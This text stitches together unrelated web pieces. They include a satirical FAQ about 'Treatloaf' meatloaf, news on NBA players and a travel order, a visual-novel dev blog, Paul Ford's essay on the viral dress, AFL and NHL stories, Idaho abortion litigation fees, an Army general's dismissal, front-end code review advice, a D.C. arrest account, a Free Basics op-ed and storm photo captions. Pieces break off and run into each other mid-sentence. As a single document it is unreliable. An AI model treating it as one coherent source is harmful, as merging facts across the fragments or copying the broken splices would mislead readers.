Very. Always keep your treats unexpected. For example, leave the packaging from a fancy new watch lying around the house, then sit back at the dinner table and enjoy your husband’s confused expression as he swirls a pair of sizzling hot cufflinks around his mouth.
I made a Treatloaf® at a recent dinner party and my guests were upset by the treat I chose—a handful of loose coins. Did I do something wrong?
It sounds like the only thing you did wrong was inviting a bunch of people over who don’t like money.
It sounds like Treatloaves® can be dangerous.
I guess that depends on your definition of dangerous, which for most people is living a life void of the enchantment and wonder that comes with scoring prizes in their food.
Is cold, leftover Treatloaf® as good as regular meatloaf the next day?
Not really. A lot of excavation, so to speak, often goes into unearthing the treats from a Treatloaf®, so the leftovers are less appetizing than you might hope. Which isn’t to say you can’t remold this cooked rubble into a smaller loaf, jam a little something special in the middle and start all over again.
Can the treat inside a Treatloaf® be meat-based?
That’s very existential. And the answer is, yes it can. Lambshanks are a popular choice, as are meatballs. But to avoid confusion with the surrounding meat, it helps to package this “treat meat” in some sort of decorative baggie.
Can a Treatloaf® be hung from a rope and beaten like a piñata until the treat comes out?
It can and it should. But safety first. To hang your Treatloaf®, I highly recommend the Treatloaf Sac®. This durable mesh satchel will keep your loaf secure while protecting your children from flying beef schrapnel. Needless to say, goggles should be word by all onlookers—this isn’t some cute paper mache donkey you’re dealing with, this is hot meat. And hot candy.
Is this a family recipe?
It is actually. My grandmother started making Treatloaves® during the Great Depression to stretch their meals. My parents told wonderful stories of finding old shoes in their Treatloaves®, then making a game of guessing whose shoe was missing from around the table. Treatloaf® not only nourished their cravings for merriment, it also nourished their cravings for food.
So your family invented Treatloaf®?
That’s right.
So they invented stuffing things into other things?
I don’t think I like your tone.
I’m a vegetarian but I’d still like to experience the enjoyment of Treatloaf®.
As long as you don’t have a similarly irrational aversion to treats, this shouldn’t be a problem. Simply make your Treatloaf® from tempeh or seitan and keep your fingers crossed that you can work through enough of that nasty crap and get to the treat.
It seems like mini Treatloaves® would be a natural giveaway during Halloween.
Such a natural. The only problem is it’s not always socially acceptable to be the house that’s giving out meat. In addition to running the risk of getting some terrible, nasty names shaving-creamed onto your lawn, like “The Beefersons,” you also run the risk of retribution in the form of a doorstep Trickloaf, which we all know is just a fancy name for a bag of flaming poop inside a meatloaf.
I live alone. Does making a Treatloaf® for myself sound pathetic?
A little bit. It’s also very difficult to surprise yourself. Which is why there are Treatloaf® swaps. Online forums where really lonely people just like yourself can exchange frozen Treatloaves® with other really lonely people and guarantee a surprise each time.
I noticed there’s a registered mark next to the word Treatloaf® literally every time it’s used. Did you actually trademark that stupid word?
Here comes the tone again.
We’re getting a hamster for my son’s birthday, can I put it in a Treatloaf® to surprise him?
I wouldn’t, unless you’re familiar with the process of Treatloaf®-airation, necessary during instances of advanced “live treating.” Which, judging by your question, you don’t appear to be. But, yes.
I think I had Treatloaf® at a restaurant recently because it had several long, beautiful hairs in it.
I don’t think that was Treatloaf®.
Aren’t Treatloaves® illegal?
You’re thinking of Muleloaves®—meatloaves that are stuffed with illicit drugs and used as narcotic couriers across international borders. Muleloaves® are a felony and are in no way affiliated with Treatloaf®.U.S. Soccer said Saturday it would have no immediate comment as it examined Mr. Trump’s order.
Many questions remained unanswered about the ability of a number of athletes to travel. Two N.B.A. players, Thon Maker and Luol Deng, were born in Sudan, one of the seven countries listed in Mr. Trump’s executive order. (Both, however, were born in Wau, now part of South Sudan, which gained its independence from Sudan in 2011.)
Mr. Maker’s family fled Sudan when he was 5 and eventually settled in Australia. Mr. Maker, who plays for the Milwaukee Bucks, moved to the United States to play high school basketball in Louisiana, eventually moved to Canada and is an Australian citizen who holds a passport from that country. It was unclear how people with dual citizenship would be treated under the order.
Mr. Deng, a forward for the Los Angeles Lakers, has lived in the United States for 17 years. His family fled to Egypt when he was 5 to escape the Sudanese civil war. Mr. Deng came to the United States when he was 14 and attended high school in New Jersey, and he later became a British citizen.
The N.B.A. also holds an annual Basketball Without Borders |
article originally appeared at Natural Society.If you’ve ever worked with a group of writers before, you know that it can be tough. Everyone has different ideas about where the story should go, how this or that character should behave or react to this other character, whether or not a character should be used to further the plot at this point in the story rather than that point in the story, things like that. It gets a lot more difficult when you’re working on a visual novel: not only do you need to deal with the above, but you also need to figure out how to combine everything into a single, flowing story with multiple endings while at the same time shaping it into something that people will want to read by the time you’re finished with it.
Choices complicate things, and I mean that literally. How do we structure our story in just the right way, where we don’t bombard the reader with choices that decide how the story ends but at the same time don’t let the story drag on? After all, who would want to play another seven hours of non-heroine-related story when they’ve already decided what heroine they want to pursue? It’s something that’s stumped us for a while, and with as many endings as we have planned, as long as our story is turning out to be, it would definitely become a problem for our readers; we don’t want people holding the ctrl button in boredom so they can skip through to the stuff they want to read.
Our options for avoiding all that were pretty limited. We could have each act in the story be dedicated to one specific heroine, but that would make every heroine be available in stages, and that’s not exactly realistic. Most people don’t have a queue of ladies following them around. Another option was to have a sort of heroine select screen when you start the game – an idea that was luckily thrown out almost immediately.
After spending a few days discussing how we could go about structuring the story, we’ve more or less settled on a pretty unique way of solving these problems:
We split the story in two.
Now before you freak out, let me explain: At some point along the line, your choices so far in the game will nudge the main character into a certain mindset or take a certain action that will affect the rest of the game. So let’s say our game is about pirates and there’s a scene where the captain – the main character – needs to decide whether or not he’s going to pull some big heist or another with his crew. A careful, mild pirate captain would probably be more likely to say ‘no’ to the idea, but a reckless and greedy pirate captain would probably jump at the chance. What kind of person this character is would depend on the choices you made earlier in the story, and his decision at this point would affect the story in a pretty large way: if he decides to pull the heist, you would have a story based on that. If he decides not to, you’d have a story based on that.
What we’re doing is similar. Just like with any visual novel, the choices you make along the way will affect the main character’s future actions. The only difference here is that we kind of go nuclear with the idea and take it to an extreme.
Hopefully this will result in a better, more dynamic story with slightly more replayability, since you’ll be able to re-experience the whole story told from a different angle.Right now people in my professional world (content platform pontificators) are avidly discussing the traffic garnered by a single picture of a blue-and-black dress that could also—depending on how your neurons are firing—look white-and-gold. As a friend of mine said to me, via chat, “It’s the perfect meme, can never be topped: (1) Putting people on two teams, (2) a hint of magic, and (3) some science.”
People are also keenly aware that BuzzFeed garnered 25 million views (and climbing) for its article about the dress. Twenty-five million is a very, very serious number of visitors in a day — the sort of traffic that just about any global media property would kill for (while social media is like, ho hum).
I worry a little about the lesson that people will draw from that traffic. I mean draw your own conclusions. I’m just saying. I worry.
I don’t worry about today, of course. Today everyone will come into their posting stations, write a blog post or 36 about the dress from their particular angle (celebrity, science, fashion, racism), and talk about the real meaning of our shared day of fun and frolic online. The endless cycle of insufferability will continue its ceaseless exchange, whereby insufferable things evaporate and turn into clouds of takes that rain down upon us to fill our insufferability reservoirs. (Suddenly it’s starting to feel like the dress was a respite from the analysis of the dress. Like they sent it backwards in time to amuse us so that we could be emotionally prepared for the analysis.)
Anyway, yeah, my point. I know from experience that Internet events like this have consequences. Meetings. Memos. Jealousy. Twenty-five million is a number to make an editorial director angry. People are going to chew their lips over those impressions. How do I get that? They’ll wonder. How do I get that sweet, sweet traffic? Why do those children get the traffic with frolic while my attempts to go viral fall flat at hundreds of thousands of impressions?
Remember “Snow Fall”? When the New York Times, an incredibly powerful media organization (that asks me to write for it several times a year and then kills all my pieces), with a market cap 1% of Facebook’s, spent untold hundreds of thousands of dollars to create a fun clicky thing that had something to do with skiing but also had some 3D animations of little people in crazy snow gear? Someone read it—it won the Pulitzer—but it didn’t seem to have many ads, so who knows what the economic upshot was. However, hoo doggies did it make people lose their damn media minds. For about six months every organization had a “Snow Fall”-style design going on over to the side of its main feature well. And none of them got the traffic or attention of the original, none of them were as memorable. And then we kind of all went back to jamming our stupid stories into the same stupid boxes and trying to figure out why we can’t embed YouTube videos or include a subhed using our fancy content management systems.
The thing about “Snow Fall” is that it went way off the grid—not the visual grid, but the technological grid. It was its own weird thing, with its own weird code, created by a completely weird digital department that was connected to the much larger, slightly-less-weird digital department, all of it inside one of the world’s weirdest news organizations—that was flexing its muscles in a very specific way. (If you don’t like “weird” think “unique.”) In any case no one but the Times could have created something like that and gathered the attention that it gathered. My proof is that no one had done so before. 620 8th Ave, where the Times is headquartered, is custom-built for things like that.
Back to the dress. The reason BuzzFeed exists—the actual, real reason—was to capture Internet ridiculousness and folly in its fullness. Since being founded in 2006 to wide ridicule it has become a platform company, with a very large technical team, a huge editorial team, a video team, a built-in ad agency, lots of middle management, tons of journalists, and big piles of money from California.
What I saw, as I looked through the voluminous BuzzFeed coverage of the dress, is an organization at the peak of a craft they’ve been honing since 2006. They are masters of the form they pioneered. If you think that’s bullshit, that’s fine—I think most things are bullshit too. But they didn’t just serendipitously figure out that blue dress. They created an organization that could identify that blue dress, document it, and capture the traffic. And the way they got those 25 million impressions, as far as I can tell from years of listening to their people, reading their website, writing about them, and not working or writing for them, was something like: Build a happy-enough workplace where people could screw around and experiment with what works and doesn’t, and pay everyone some money.
This is not said as an endorsement of BuzzFeed. BuzzFeed is utterly deserving of insanely paranoid criticism just like anything that makes money from your attention (this category includes me, Paul Ford). But it’s worth pointing out again that their recipe for traffic seems to be: Hire tons of people; let them experiment, figure out how social media works, and repeat endlessly; with lots of snacks. Robots didn’t make this happen. It was (1) a hint of magic, and (2) some science.
So! If the conclusion that you draw, as a media professional, is “we should be getting in on things like that dress, we should be more like BuzzFeed,” you are probably going to damage your organization while not actually getting that sweet sweet traffic that you so desire. Because it’s not about traffic as much as culture.
What should you actually do? I mean, you could hire or re-assign a mix of younger and older talented people from very diverse backgrounds, give them measurable goals and time to think, see what works, track progress, iterate, and then participate in the larger community of people who are trying to work out these problems of culture, technology, and prose. That would be expensive and would require not really having a plan but rather making it up as you go, which is the hardest thing for anyone to justify to their boss. Or you could wait and try to jam whatever is working elsewhere right now into your current creaking system.
You can’t get the dress traffic from angry competition any more than you can get “Snow Fall” by pasting a bunch of stories and pictures together. You can’t buy software for it or squeeze it out of people. You have to build it over time with lots of nerds of all sort and make people not hate their lives along the way. Then you need to see which parts work, and do them over and over again. It takes years.
I apologize for writing a thinkpiece.Tom Rockliff leaves the field after last week's loss to Richmond
CONTRACT negotiations between the Brisbane Lions and skipper Tom Rockliff have stalled as the embattled club continues to struggle to retain talent.
The Victorian, whose past two seasons have been crippled by injury and stuttering form, is keen to stay at the Gabba but has withdrawn a contract proposal made by his management to the club following disagreement on his value.
It's believed the 26-year-old 2014 All-Australian wants a five-year deal worth about $4 million.
"We couldn't come to an agreement on numbers and years," Rockliff has told News Corp Australia.
Rockliff has not met with representatives from rival clubs and insists he wants to take the Lions out of the finals wilderness and into the top eight for the first time since 2009.
"I've been through the hard times and I want to see this through," he said.
"I dont think there's any uncertainty around that."
The Lions' issues with player retention are well-known, with the club waving goodbye to the likes of Jack Redden (West Coast), Jared Polec (Port Adelaide), Jack Crisp (Collingwood) and Sam Docherty (Carlton) in recent years.
However, they have also traded in Tom Bell, Ryan Bastinac, Josh Walker, Jarrad Jansen, Dayne Beams, Allen Christensen and Mitch Robinson in recent years, and managed to re-sign some key younger players.ST. PAUL, Minn. — Not much different than sommeliers and their cabernets, when it comes to greatness, sports fans are connoisseurs on couches. But “greatness” in our games these days is casually labeled, so to identify the real thing, I went to The Great One himself.
“We always talk about the game and when different guys retire, we wonder who’s going to come in, step up and be the next guy?” Wayne Gretzky said on the phone Monday afternoon. “You see a guy like Nathan MacKinnon come along, play at the level he’s playing, carry himself the way he carries himself, it says a lot of good things about the game. The NHL is in good shape.”
Before we headed into Game 6 on Monday, with MacKinnon’s Avalanche leading Minnesota 3-2, I wanted to pause and appreciate what we’re seeing before our eyes, the greatness Gretzky is seeing.
OK — right away, I’m not saying MacKinnon is Gretzky. When Wayne was a rookie, he was the league’s MVP and he tied for the league lead in points. But what I’m saying is, MacKinnon is separating himself as an inordinate talent with just stupid speed.
Yes, the 18-year-old MacKinnon was a nonfactor in Games 3 and 4 in St. Paul — I critically wrote that he needed to find himself in Game 5 — but in the three Avalanche home wins, the only word that comes to mind rhymes with fate. The rookie scored the overtime winner in Game 5 — he was the youngest player to score an overtime winner in the playoffs since 1943 — and he had a total of seven points in Games 1-2.
“Well, listen,” Gretzky said. “One thing we always forget about elite athletes, whether it’s Mario Lemieux, Mike Bossy or Joe Sakic. They do something really special and the good Lord gave them some extra-special gifts, but what makes them so special is their work ethic, and when you watch (MacKinnon) play, he’s extremely talented, but more important he plays the game properly. He works hard every shift, he doesn’t cheat the game. There’s no question he’s deserving of the accolades he’s getting.
“First and foremost, it’s been everything that everyone in Colorado anticipated he’d be. There were two, three exceptionally good players to choose from (in the NHL draft last summer), but he’s lived up to everything Colorado thought he’d be — and probably plays at an even higher level that Colorado thought he’d be. He’s been exceptional. He’s nothing but great for the game, and he’s fun to watch.”
Benjamin Hochman: bhochman@denverpost.com or twitter.com/hochmanThe Idaho attorney general's office warned lawmakers their pre-viability ban was unconstitutional, but lawmakers passed it anyway. So how then can the law be defended ethically in court?
A lawsuit challenging two tenets of Texas' new omnibus anti-abortion law will go before a judge for the first time today.
Constitution and scales of justice via Shutterstock
Add Idaho to the growing list of states like North Dakota and Alabama amassing enormous legal fees defending unconstitutional anti-abortion restrictions.
As reported by the Associated Press, the latest attorneys’ bill came Thursday when U.S. District Judge B. Lynn Winmill ruled the state owed more than $376,000 to attorneys for Jennie Linn McCormack, the Pocatello woman who had been unsuccessfully prosecuted for a felony because police claimed she had an illegal abortion. McCormack’s lawsuit challenged the constitutionality of the prosecution and several other Idaho abortion restrictions, including the state’s so-called “fetal pain” pre-viability ban. The lawsuit resulted in a federal court overturning some of those restrictions, including the pre-viability ban.
Because some of McCormack’s case is still pending with the Ninth Circuit Court of Appeals, the state won’t have to actually pay the nearly $400,000 immediately. That’s in part because the outcome of that appeal could determine the final cost. Should the state ultimately succeed before the Ninth Circuit, the amount it owes McCormack’s attorney could be reduced. Likewise, should McCormack succeed at the Ninth Circuit, the fee could go up with the state ordered to pay McCormack’s appellate costs as well.
Since 2000 and prior to the fees associated with McCormack’s case, the State of Idaho had already spent about $365,000 defending other abortion restrictions, including challenges to a parental consent law, a so-called “partial birth abortion” law, and a law that would have denied Medicaid coverage for medically necessary abortions. In addition to the almost $400,000 to defend those laws, it was also ordered to pay an additional $446,000 in attorneys’ fees to the plaintiffs in those three cases.
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But McCormack’s case should raise some ethical questions within Idaho’s attorney general’s office and with the public at large. According to the AP report, the attorney general’s office warned lawmakers that a pre-viability ban was unconstitutional, but lawmakers passed it anyway. Now, it’s the job of the attorney general to defend state law, but attorneys also have a corresponding ethical obligation to not advance frivolous claims or defenses. Rule 3.1 of the Idaho Rules of Professional Responsibility dictates that “[A] lawyer shall not bring or defend a proceeding, or assert or controvert an issue therein, unless there is a basis in law and fact for doing so that is not frivolous, which includes a good faith argument for an extension, medication, or reversal of existing law.” The rule is designed to give attorneys enough room to creatively advocate on behalf of their clients while preserving the basic compromise that is supposed to form the foundation of all litigation: attorneys can advocate zealously, but they must do so in good faith.
In McCormack’s case, state attorneys argue they didn’t violate any ethical obligation, because instead of arguing over the merits of the so-called fetal pain law their defense strategy was to challenge McCormack and her attorney on standing, the procedural requirement that allows an individual to bring a claim. But that’s a smoke-and-mirrors argument that maybe meets the low bar for ethical clearance set by Rule 3.1 but arguably violates its spirit. McCormack challenged Idaho’s pre-viability ban and has been successful, for now, in getting the law blocked. And while that challenge was at times wrapped up with McCormack’s other, more visible challenge to the constitutionality of the state’s illegal abortion statute, the court did eventually rule on the constitutionality of the state’s pre-viability ban. That means the substance and merits of the law was before the court, and the attorney’s general office can’t claim their strategy of initially avoiding the merits of the law in favor of a stronger, procedural argument did not function as a defense of that law.
State rules of professional responsibility are aspirational—they are standards the profession hopes to maintain. Absent administrative complaints to the state’s governing board, they don’t, by themselves, create the ability to hold lawyers responsible for their conduct. The vehicle to do that is a legal malpractice lawsuit, and malpractice claims are based on a standard of negligence. Amazingly, violating an ethical rule is not considered per-se negligence, which means it can’t be the basis for a malpractice lawsuit. Stated another way, absent some really big screw-up by lawyers, there’s not much the public can do to police their conduct. They are left to do it themselves. And as we’re seeing in places like Idaho, that’s an expensive proposition. It also highlights why the fight over the so-called “science” behind the latest rounds of pre-viability bans is so critically important. Without it, anti-choice litigators cannot ethically claim they are legitimately advancing any “good faith argument for an extension, medication, or reversal of existing law” when they claim any abortion restriction that bans the procedure pre-viability is constitutional in the face of Roe v. Wade.CLOSE An U.S. army general has been fired after he was caught sending flirty messages to the wife of an enlisted soldier on Facebook. Buzz60
Maj. Gen. Joseph Harrington (Photo11: Army)
WASHINGTON — The Army has sacked a two-star general who sent flirty messages to the wife of an enlisted soldier at his post in Italy, including one in which he referred to the woman as a "HOTTIE."
Maj. Gen. Joseph Harrington until last month had commanded U.S. Army Africa from his post in Europe. USA TODAY first reported about the Facebook messages, triggering an inspector general's investigation, Harrington's suspension and now his firing.
Harrington's dismissal was "due to a loss of confidence in his ability to command," Army Col. Patrick Seiber, a spokesman, said in a statement. "The Army has been investigating allegations related to Maj. Gen. Harrington's communications with the spouse of an enlisted soldier; however, since the review of the investigation is still ongoing, we can provide no further comment at this time."
Listen to learn more about how USA TODAY got to the bottom of this scandal.
Harrington's removal is likely a career-killer for an officer whose future had seemed bright. He had been a top aide to the former Chairman of the Joint Chiefs of Staff, Army Gen. Martin Dempsey.
Like several generals before him who have been snared in sex scandals, Harrington will probably be reassigned until the investigation is complete and then a board of officers will determine the rank in which he last served satisfactorily. That will determine his rank in retirement.
Ending Harrington’s career is the appropriate punishment, if this is a single incident, said Don Christensen, the Air Force’s former chief prosecutor and president of Protect Our Defenders, a group that advocates on behalf of victims of sexual assault in the military. The Army must conduct a thorough investigation to determine if there are other instances or victims, he said.
“It would be rather unusual for him to have done this for the first time in his 50s,” Christensen said.
The Army has seen several senior officers felled by scandal in recent years. They include Lt. Gen. Ron Lewis, the former top adviser to then-Defense Secretary Ash Carter, whose lavish tabs at strip bars on an official trip killed his career. He was stripped of a star, as was Maj. Gen. Wayne Grigsby, whose relationship with a subordinate woman drew scrutiny. The Air Force and Navy have seen the careers of senior officer end in disgrace.
A series of incidents
Most recently, the most senior ranks of the Navy have come under scrutiny after it was revealed that the spokesman for the Chief of Naval operations had been allowed to stay on the job after being accused of sexual misconduct while dressed as Santa Claus at an office Christmas party.
That story triggered a call by Sen. Kirsten Gillibrand, D-N.Y., and a member of the Armed Services Committee, for an inspector general's investigation to determine if Navy Adm. John Richardson showed favoritism to his aide, Cdr. Chris Servello.
CLOSE Sen. Kirsten Gillibrand criticized the U.S. Armed Forces, saying, "The military still does not take these cases of sexual assault and sexual harassment seriously." USA TODAY
Harrington and the woman, decades his junior, exchanged dozens of messages, many of them personal and referring to her appearance. He called her a "HOTTIE" in one, and others in which he acknowledged her husband, a sergeant, would not be happy with the relationship.
Harrington also asked her to delete the messages. She didn't, and many of them were shared with USA TODAY.
Until he was suspended, Harrington had the authority to order cases to go to court martial, including those involving sexual assault and harassment, as well as any involving the woman's husband.
More: Army suspends general following revelations of racy texts with wife of enlisted soldier
More: Army general's racy texts with subordinate's wife prompt official probe
More: Joint Staff general's girlfriend problem grounds career
Read or Share this story: https://usat.ly/2ymp1MLA lot of things are more effective when you have someone else there to keep you accountable. I started paying closer attention to my finances when I opened up a joint checking account with my wife. I never miss a gym workout when I set-up a time to go with someone else. In that same spirit, you have a greater likelihood of doing the little things and writing good code when you sit down with a peer and review it. You might think a little longer about that!important declaration or class named.thingamajigs when your peers are combing through to make sure it makes sense and is free of errors that will plague your project.
One big focus on our team over the past year has been collaboration. A responsive workflow requires all sorts of disciplines and the closer we can integrate UI designers, front-end developers and UX, the better the end product will ultimately be. In the spirit of, "the sum is greater than its parts" here's no better way to think of solutions than to get an extra pair of eyes on it.
Avoid fixing the same bugs over and over again
On the front-end, with content management systems and templates, once a layout or component is created, its likely to be reproduced in other places. This reuse is important and finding code issues early will save a lot of time in the long run. Paul Irish helped author Roundarch Isobar's front-end code standards and best practices, where three pillars of front-end development are established:
Separation of presentation, content, and behavior. Markup should be well-formed, semantically correct and generally valid. JavaScript should progressively enhance the experience
What this does is lays a groundwork that allows you to focus your priorities. Its practical, for instance, writing generally valid code but not stringently enforcing W3C validation (which is a great tool, but I don't know anyone who obsesses over it anymore). The point is to have code that works and that others can understand. With that, other things start to fall into place, like performance and maintainability.
People take shortcuts; it is important to be efficient with your time, and equally important to build something maintainable and cohesive. A code review is a great gut-check to make sure your code is semantic and fundamentally sound.
Fundamentals
Getting back to basics is one of the easiest things to do when reviewing others' code. It's like practicing for a sport, you hammer home the foundational skills so you don't even have to think about them and can focus on other areas of your game.
In Shay Howe's Guide to HTML & CSS he spends some time breaking down simple best practices to ensure you are writing good code. Here are some highlights and how to apply them to your peer reviews.
HTML:
Write standards compliant markup If you are a fan of Sublime Text, SublimeLinter is great for catching errors (HTML, CSS, javascript and a lot of other languages).
Make use of semantic elements Check to make sure elements used are the right ones, for example don't use two <br/> tags when you should have a <p> tag in there.
Separate content from style Inline styles are really for HTML emails and WYSIWYG editors only, and both of those are out of necessity.
Avoid a case of div-itis Look for areas where less code can be used. This is especially a challenge when working with CMS's, but there are always options to cut down on superfluous markup.
CSS:
Organize code with comments This will help the next person who looks at your CSS and for your future self down the line.
Indent selectors Better readibility when editing your code.
Write CSS with multi-line spacing Really a preference here, just make sure a consistent pattern is used.
Modularize styles for reuse SMACSS - SMACSS is great conceptually, even if you don't fully subscribe to the exact structure explained by Jonathan Snook, the philosophy is useful.
Use shorthand properties when available TRBL (Top, right, bottom, left). Cuts down on style properties, easier to maintain.
Continually Refactor Code
Over time websites continue to grow and grow, leaving behind quite a bit of cruft. Remember to remove old code and styles as necessary when editing a page. Also take the time to evaluate code after you write it, looking for ways to condense and make it more manageable.
Shay does an awesome job of giving you a great foundation for writing good front-end code. One problem is, don't always have the option to continually refactor your projects. Some are on short timelines, others are constantly adding features and you don't have time to breath. But if you do a little bit everyday, you will be in much better shape.
Check your browser support before you get too far down the road
I've always subscribed to the support the current version and its previous release school of thought. With Internet Explorer, that's not always possible. Google recently dropped support for IE9 in Google Apps, which is an encouraging sign. Sometimes, depending on your audience or your project's goals, spending days debugging IE isn't important enough to allocate time against it. Other times, it's mission critical. It's important to have a clear dialogue about this before digging in.
Ask questions
Here are some things to consider when doing a front-end code review.
DRY (Don't repeat yourself), see if you can find spots that are repeated and look for ways to simplify.
Look at the project holistically, does it seem slow? Take a look at Google's Web Performance Best Practices.
It's easy to get defensive when you are in the trenches and an outsider comes in and gives advice. It's important to get constructive criticism so you can battle test your work.
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D.C. police last week arrested a transgender woman for spraying a chemical repellent into the face of a man who she says called her names and assaulted her before identifying himself as an off-duty District police officer.
Chloe Alexander Moore, 25, was charged with simple assault following a 2 a.m. incident on Dec. 1 along the 1500 block of K St., N.W. According to court records, Officer Raphael Radon alleges that Moore squirted him with pepper spray in an unprovoked action following a brief exchange of words.
But two police sources said a sergeant and detective who responded to the scene determined through interviews with witnesses that Officer Radon initiated the altercation and may have committed a bias-related assault against Moore.
The police sources, who spoke on condition that they were not identified, said a night supervisor apprised of the incident by phone while at her office at the First District D.C. Police station overrode the recommendations of the sergeant and detective and ordered that Moore be charged with simple assault.
Officer Radon was not charged in the incident.
A police report filed in court identifies the supervisor as Capt. Michelle Williams, who was acting as the First District watch commander. The police sources said Williams gave the order to charge Moore in the case while speaking to officers on the scene by phone.
D.C. Police Chief Cathy Lanier said this week that the department’s Internal Affairs Bureau was investigating the incident.
“Both the officer and the arrestee received medical treatment in relation to the occurrence,” Lanier told the Blade in an e-mail. “Additionally, this matter was properly reported as per our protocols and is already under investigation. Rest assured we will also address these allegations in our investigation.”
Moore, whose legal name is Alexander Moore, was taken to the First District at 101 M St., S.W., for booking and later to George Washington University Hospital before being transferred to the police Central Cellblock at 300 Indiana Ave., N.W., where she remained until being taken to court.
Court records show she pleaded not guilty before a D.C. Superior Court magistrate and was released on her own recognizance. She was scheduled to return to court on Dec. 13 for a status hearing.
Moore told the Blade the incident began when she and a female transgender friend were walking along the 1500 block of K St., N.W., and crossed paths with the man later identified as Officer Radon. Moore said Radon was with two friends, a man and a woman.
“We didn’t have a lighter and we see a gentleman who had a cigarette lit,” Moore said. “My friend goes and asks for a light and he said, ‘Hey ladies, how you doing?’ And we said we’re doing fine.”
According to Moore, as Radon got closer to the two he realized they were transgender.
“He was like, ‘I’m not going to give you a light because you’re a man,’” said Moore, who added that Radon suddenly became hostile and began making disparaging comments about her appearance, especially the dress she was wearing.
“He said he could see my dick and my balls. And he was very hostile and angry and I was afraid of what he would do and then he pushed me,” Moore said. “Not knowing if he was going to really hurt me I got real scared and in self-defense I pepper sprayed him.”
Moore said she immediately ran from the scene, with Radon chasing after her for nearly two blocks.
“He grabbed the back of my neck and he throws me on the ground,” Moore said. “My midsection was on the curb and he puts his knee in my back real hard, and it caused a lot of pain.”
It was at that time, according to Moore, that Radon pulled out his badge and identified himself to her as a police officer. Within seconds, she said, uniformed, on-duty police officers appeared on the scene. Minutes later she said she was placed in handcuffs and a short time later placed inside a police car.
“We stayed out there about three hours after it occurred, waiting to see what was going to happen,” said Moore. “The police were talking among themselves and trying to make up their minds what they were going to do.”
She said the officers initially ignored her request that they call an ambulance to examine her because she was in pain from being knocked down by Radon.
Eventually an ambulance arrived, but she observed Radon getting inside and being taken away.
“He was saying his eyes were burning,” she said.
A police report filed in court says the incident began about 2:05 a.m. and that Moore was placed under arrest at 4:26 a.m.
“At approximately 0426 the undersigned officer was ordered to place D1 [Defendant 1] under arrest for simple assault,” says the report prepared by an officer identified only as B. Dass.
“The order was given by the 1D Watch Commander (Capt. Williams) through Lt. Dykes. “Then D1 was transported to 1D for further processing,” the report says.
The report gives Officer Radon’s account of what happened, saying he told an officer responding to the scene that he was approached by “two transgenders who engaged him and [Witness 1] and [Witness 2] in conversation.”
According to the report, Radon said the two transgender women asked him for a cigarette light and then asked him where he was going.
“It’s unclear which witness pointed across the street to a club,” the report says. “[Moore] then stated, ‘We have everything better than where you’re going for $10,” the report said Radon told officers at the scene.
“Officer Radon then told [Moore], ‘No thank you, I am not into guys.” “And told [Moore] ‘You don’t know who you’re talking to,’” the report says. “[Moore] then pulled out a can of pepper spray and sprayed Officer Radon in the face. Officer Radon then pulled out his MPDC credentials at which time [Moore] ran [eastbound] on K Street,” the report says.
“Officer Radon gave foot pursuit and then an apprehension was made in the 1400 block of K Street. Both Witness 1 and Witness 2 collaborated [Radon’s] statements,” the report says.
But the report says two other witnesses backed up Moore’s version of what happened. One of the two apparently is the transgender woman who was with Moore. The report, which does not identify any of the witnesses by name, suggests that Witness 3 may have been standing nearby and was not with any of the others involved in the incident.
“Witness 3 recounted the same story as D1 [Defendant 1—Moore],” the police report says.
Local attorney Dale Edwin Saunders, who practices criminal law in the District, described as “highly unusual” the decision by police and the United States Attorney’s office to charge Moore in the case.
“This person would have never been arrested or papered if the complaining witness had been a civilian,” Saunders said. “The defendant had two witnesses corroborating her version of the events.”
The U.S. Attorney’s office, which prosecutes most criminal cases in D.C., could not comment because it’s a pending case, according to spokesperson William Miller.
Moore, who said she’s unemployed, acknowledged that she had been arrested on an unrelated solicitation for prostitution charge on Nov. 20 along the 300 block of K St., N.W., in an area known to be frequented by transgender prostitutes. She called the arrest unjustified and said she is challenging it in court.
She said she’s also planning to file a police abuse complaint against Officer Radon and was in the process of seeking assistance from Transgender Health Empowerment, a transgender advocacy group.
Transgender activist Jeri Hughes, who is on the T.H.E. staff, said transgender women who can’t find work, often due to anti-transgender bias, sometimes turn to prostitution “to survive.” Hughes said the facts surrounding Moore’s interaction with Officer Radon strongly suggest her arrest was a “miscarriage of justice” and called on police to thoroughly investigate the incident.
Radon could not be immediately reached for comment.By Vineet Nayar
Facebook CEO Mark Zuckerberg is someone I admire for his responsible business beliefs and respect for his recent investment in social change. But his Free Basics initiative, highlighted in full-page advertisements in newspapers and billboards, may be well-intentioned but misdirected.
Here are three reasons why Free Basics is a bad idea, along with one suggestion of what can be done to meet Zuckerberg’s stated objectives.
First, the ‘free market’ logic of Free Basics. If I were to tell you that we could create 200,000 new jobs and 10 million additional indirect jobs by deregulating the tobacco industry what would you say? No. Not too long ago, Indonesia did not say no. It gained the jobs. However, it is now the fifthlargest tobacco market in the world, with more than 30% of Indonesian children reportedly smoking a cigarette before the age of 10.
Tobacco and the Internet are not similar, but the underlying economic prosperity logic fault line is the same. When we have a huge gap between the haves and the have-nots, regulation plays a crucial role in protecting the interests of the have-nots, preventing their exploitation.
Second, the ‘poor need it’ logic is advocated by people who are besotted by their own products. Some are attempting to change eating habits under the garb of solving malnutrition problems. Some are trying to regulate a free world with one version of information. As I travel into villages these days, I see these big cars drive in with folks doling out their version of ‘what the poor need’. Is |
this storm."
Photos: Massive storm hammers Northeast Photos: Massive storm hammers Northeast Dexter Newcomb begins cleanup at his house in Scituate, Massachusetts, on Wednesday, January 28, a day after a winter storm left his neighborhood coated in frozen sea spray and sand. Hide Caption 1 of 38 Photos: Massive storm hammers Northeast Cars in Norwood, Massachusetts, sit buried by snow drifts on January 28. The first blizzard of 2015 dumped nearly 3 feet of snow in parts of four Northeastern states. Massachusetts was hit the hardest. Hide Caption 2 of 38 Photos: Massive storm hammers Northeast Workers continue snow removal efforts in the Back Bay neighborhood of Boston on January 28. Hide Caption 3 of 38 Photos: Massive storm hammers Northeast A man battles strong winds in Portland, Maine, on Tuesday, January 27. Hide Caption 4 of 38 Photos: Massive storm hammers Northeast A wave slams into a sea wall in Scituate as evening high tide approaches on January 27. Hide Caption 5 of 38 Photos: Massive storm hammers Northeast Snow piles up at the entrance of a closed T station in Boston on January 27. The city's public transit system was set to reopen the next day. Hide Caption 6 of 38 Photos: Massive storm hammers Northeast U.S. Army soldier Jennifer Bruno carries belongings from her house, center rear, which was heavily damaged by storm surge in Marshfield, Massachusetts. Hide Caption 7 of 38 Photos: Massive storm hammers Northeast Icy water floods a street in Scituate on January 27. Hide Caption 8 of 38 Photos: Massive storm hammers 